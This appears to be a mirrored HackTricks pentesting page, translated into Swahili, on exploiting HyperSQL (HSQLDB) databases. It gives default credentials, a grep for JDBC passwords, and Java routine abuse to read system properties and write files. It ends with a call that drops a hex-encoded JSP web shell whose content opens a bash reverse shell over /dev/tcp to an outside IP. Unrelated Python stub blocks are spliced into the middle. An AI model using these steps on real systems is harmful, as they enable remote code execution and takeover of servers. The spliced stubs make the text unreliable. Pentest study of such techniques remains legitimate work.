mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
104 lines
5.6 KiB
Markdown
104 lines
5.6 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
|
|
# Taarifa Msingi
|
|
|
|
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ni mfumo wa hifadhidata ya uhusiano wa SQL unaongoza ulioandikwa kwa Java. Inatoa injini ndogo, haraka yenye uwezo wa kushughulikia nyuzi nyingi na hifadhidata ya shughuli na meza za kumbukumbu na kumbukumbu ya diski na inasaidia njia za kujumuisha na seva.
|
|
|
|
**Bandari ya chaguo-msingi:** 9001
|
|
```text
|
|
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
|
```
|
|
# Taarifa
|
|
|
|
### Mipangilio ya Awali
|
|
|
|
Tafadhali kumbuka kuwa kwa chaguo-msingi huduma hii inaweza kuendeshwa kwenye kumbukumbu au imefungwa kwenye localhost. Ikiwa umepata huduma hii, labda umetumia huduma nyingine na unatafuta kuongeza mamlaka.
|
|
|
|
Kitambulisho cha chaguo-msingi kawaida ni `sa` na neno la siri tupu.
|
|
|
|
Ikiwa umetumia huduma nyingine, tafuta kitambulisho kinachowezekana kwa kutumia
|
|
```text
|
|
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
|
```
|
|
Chukua jina la database kwa umakini - utalihitaji kuunganisha.
|
|
|
|
# Kukusanya Taarifa
|
|
|
|
Unaweza kuunganisha kwenye kifaa cha DB kwa [kupakua HSQLDB](https://sourceforge.net/projects/hsqldb/files/) na kuchambua `hsqldb/lib/hsqldb.jar`. Chalisha programu ya GUI (eww) kwa kutumia `java -jar hsqldb.jar` na unganisha kwenye kifaa kwa kutumia siri zilizopatikana/dhaifu.
|
|
|
|
Chukua taarifa ya uunganisho URL itaonekana kama hii kwa mfumo wa mbali: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
|
|
|
# Mbinu
|
|
|
|
## Rutini za Lugha ya Java
|
|
|
|
Tunaweza kuita njia za static za darasa la Java kutoka HSQLDB kwa kutumia Rutini za Lugha ya Java. Tambua kwamba darasa linaloitwa linahitaji kuwa kwenye njia ya darasa ya programu.
|
|
|
|
JRTs zinaweza kuwa `kazi` au `taratibu`. Kazi zinaweza kuitwa kupitia taarifa za SQL ikiwa njia ya Java inarudisha moja au zaidi ya pembejeo za SQL zinazoweza kulinganishwa. Zinaitwa kwa kutumia taarifa ya `VALUES`.
|
|
|
|
Ikiwa njia ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu zinazoitwa kwa kutumia taarifa ya `CALL`.
|
|
|
|
## Kusoma Mali za Mfumo wa Java
|
|
|
|
Unda kazi:
|
|
```text
|
|
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
|
DETERMINISTIC NO SQL
|
|
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
|
```
|
|
```python
|
|
def execute():
|
|
# Code to execute the function
|
|
pass
|
|
```
|
|
|
|
```python
|
|
def tekeleza():
|
|
# Nambari ya kutekeleza kazi
|
|
pass
|
|
```
|
|
```text
|
|
VALUES(getsystemproperty('user.name'))
|
|
```
|
|
Unaweza kupata [orodha ya mali za mfumo hapa](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
|
|
|
## Andika Yaliyomo kwenye Faili
|
|
|
|
Unaweza kutumia kifaa cha Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` kilichopo kwenye JDK \(kimepakuliwa moja kwa moja kwenye njia ya darasa ya programu\) kuandika vitu vilivyohifadhiwa kwa mfumo wa hex kwenye diski kupitia utaratibu maalum. **Tafadhali kumbuka ukubwa wa juu wa 1024 baiti**.
|
|
|
|
Unda utaratibu:
|
|
```text
|
|
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
|
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
|
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
|
```
|
|
Chukua hatua:
|
|
```text
|
|
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|